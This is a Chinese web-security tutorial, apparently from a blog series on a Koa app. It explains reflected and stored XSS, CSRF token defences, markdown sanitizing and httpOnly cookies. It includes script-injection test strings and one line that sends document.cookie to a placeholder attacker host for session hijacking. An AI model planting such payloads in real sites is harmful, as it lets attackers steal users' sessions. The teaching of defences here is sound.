一些安全问题

Web 应用中存在很多安全风险,这些风险会被黑客利用,轻则篡改网页内容,重则窃取网站内部数据,更为严重的则是在网页中植入恶意代码,使得用户受到侵害。常见的安全漏洞如下:

  • XSS 攻击:对 Web 页面注入脚本,使用 JavaScript 窃取用户信息,诱导用户操作。
  • CSRF 攻击:伪造用户请求向网站发起恶意请求。
  • 钓鱼攻击:利用网站的跳转链接或者图片制造钓鱼陷阱。
  • HTTP参数污染:利用对参数格式验证的不完善,对服务器进行参数注入攻击。
  • 远程代码执行:用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。

本文主要讲述xss和csrf的攻击。当年cnode就被自动回复,弹窗搞得满天飞 哈哈哈。

XSS的防范

我们先来看看我们现在存在的问题,打来你编写的博客应用,在留言或者新建文章需要用户输入的时候直接输入

<script>alert(xss)</script>

在新建文章页,你会发现,再输入的时候就会弹出弹窗,先别管。将它发布出去,接下来每次进入详细内容页你都能看见这个弹窗。我们应该对XSS过滤,把标签符号转为实体字符,同时过滤掉非法脚本。在这个项目中我们使用了marked这个库来转换markdown语法,我们只需要开启即可

marked.setOptions({
...
 - sanitize: false
 + sanitize: true
...
})

XSS(cross-site scripting,因为已经有个CSS了,所以它叫了XSS)跨域脚本攻击攻击是最常见的 Web 攻击,攻击者利用这种漏洞在网站上注入恶意的客户端代码。其重点是『跨域』和『客户端执行』。

XSS 攻击一般分为两类:

  • Reflected XSS(反射型的 XSS 攻击)
  • Stored XSS(存储型的 XSS 攻击)

Reflected XSS

反射型的 XSS 攻击,主要是由于服务端接收到客户端的不安全输入,在客户端触发执行从而发起 Web 攻击。发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS随响应内容一起返回给浏览器,最后浏览器解析执行XSS代码。例如:

在某购物网站搜索物品,搜索结果会显示搜索的关键词。搜索关键词填入<script>alert('handsome boy')</script>, 点击搜索。页面没有对关键词进行过滤,这段代码就会直接在页面上执行,弹出 alert。

Stored XSS

基于存储的 XSS 攻击,是通过提交带有恶意脚本的内容存储在服务器上,当其他人看到这些内容时发起 Web 攻击。一般提交的内容都是通过一些富文本编辑器编辑的,很容易插入危险代码。存储型XSS和反射型的XSS差别就在于,存储型的XSS提交的代码会存储在服务器端

CSRF 的防范

CSRF(Cross-site request forgery)跨站请求伪造,也被称为 One Click Attack 或者 Session Riding,通常缩写为 CSRF 或者 XSRF,是一种对网站的恶意利用。 CSRF 攻击会对网站发起恶意伪造的请求,严重影响网站的安全。

通常来说,对于 CSRF 攻击有一些通用的防范方案,简单的介绍几种常用的防范方案:

  • Synchronizer Tokens:通过响应页面时将 token 渲染到页面上,在 form 表单提交的时候通过隐藏域提交上来。
  • Double Cookie Defense:将 token 设置在 Cookie 中,在提交 post 请求的时候提交 Cookie,并通过 header 或者 body 带上 Cookie 中的 token,服务端进行对比校验。
  • Custom Header:信任带有特定的 header(例如 X-Requested-With: XMLHttpRequest)的请求。这个方案可以被绕过,所以 rails 和 django 等框架都放弃了该防范方式

在前面我们只是alert('xss') ,如果将可执行脚本改为

location.href='http://www.xss.com?cookie='+document.cookie;

那我们将可以获取到用户的cookie,可以以这个用户的身份登录成功。koa cookie默认设置为httpOnly,这样能有效的防止XSS攻击。

CSRF 攻击之所以能够成功,是因为黑客可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 cookie 中,因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。要抵御 CSRF,关键在于在请求中放入黑客所不能伪造的信息,可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。